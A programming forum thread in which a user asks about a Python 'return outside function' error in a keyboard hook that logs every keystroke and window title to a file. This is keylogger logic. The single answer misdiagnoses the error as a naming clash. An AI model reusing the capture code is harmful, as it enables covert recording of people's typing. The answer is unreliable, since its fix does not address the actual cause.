+ 2

Return outside function?

Why do i get this error message? code is: ... """if typing in new window""" if(window_name != event.WindowName): #if typing in new window if(line_buffer != ""): #if line buffer is not empty line_buffer += '\n' SaveLineToFile(line_buffer) #print to file: any non printed characters from old window line_buffer = "" #clear the line buffer SaveLineToFile('\n-----WindowName: ' + event.WindowName + '\n') #print to file: the new window name window_name = event.WindowName #set the new window name """if return or tab key pressed""" if(event.Ascii == 13 or event.Ascii == 9): #return key line_buffer += '\n' SaveLineToFile(line_buffer) #print to file: the line buffer line_buffer = "" #clear the line buffer return True #exit event """if backspace key pressed""" if(event.Ascii == 8): #backspace key line_buffer = line_buffer[:-1] #remove last character return True #exit event """if non-normal ascii character""" if(event.Ascii < 32 or event.Ascii > 126): if(event.Ascii == 0): #unknown character (eg arrow key, shift, ctrl, alt) pass #do nothing else: line_buffer = line_buffer + '\n' + str(event.Ascii) + '\n' else: line_buffer += chr(event.Ascii) #add pressed character to line buffer return True #pass event to other handlers ....

30th Mar 2017, 12:11 PM
Naschkatzification
Naschkatzification - avatar
1 Answer
+ 8
I'm not an expert, but "return" is a Python keyword and only can be used inside a function. So, I suggest you to change your "return" (that I believe is referred to return button) and replace it for something like return_button. hope it helps
30th Mar 2017, 2:56 PM
LayB
LayB - avatar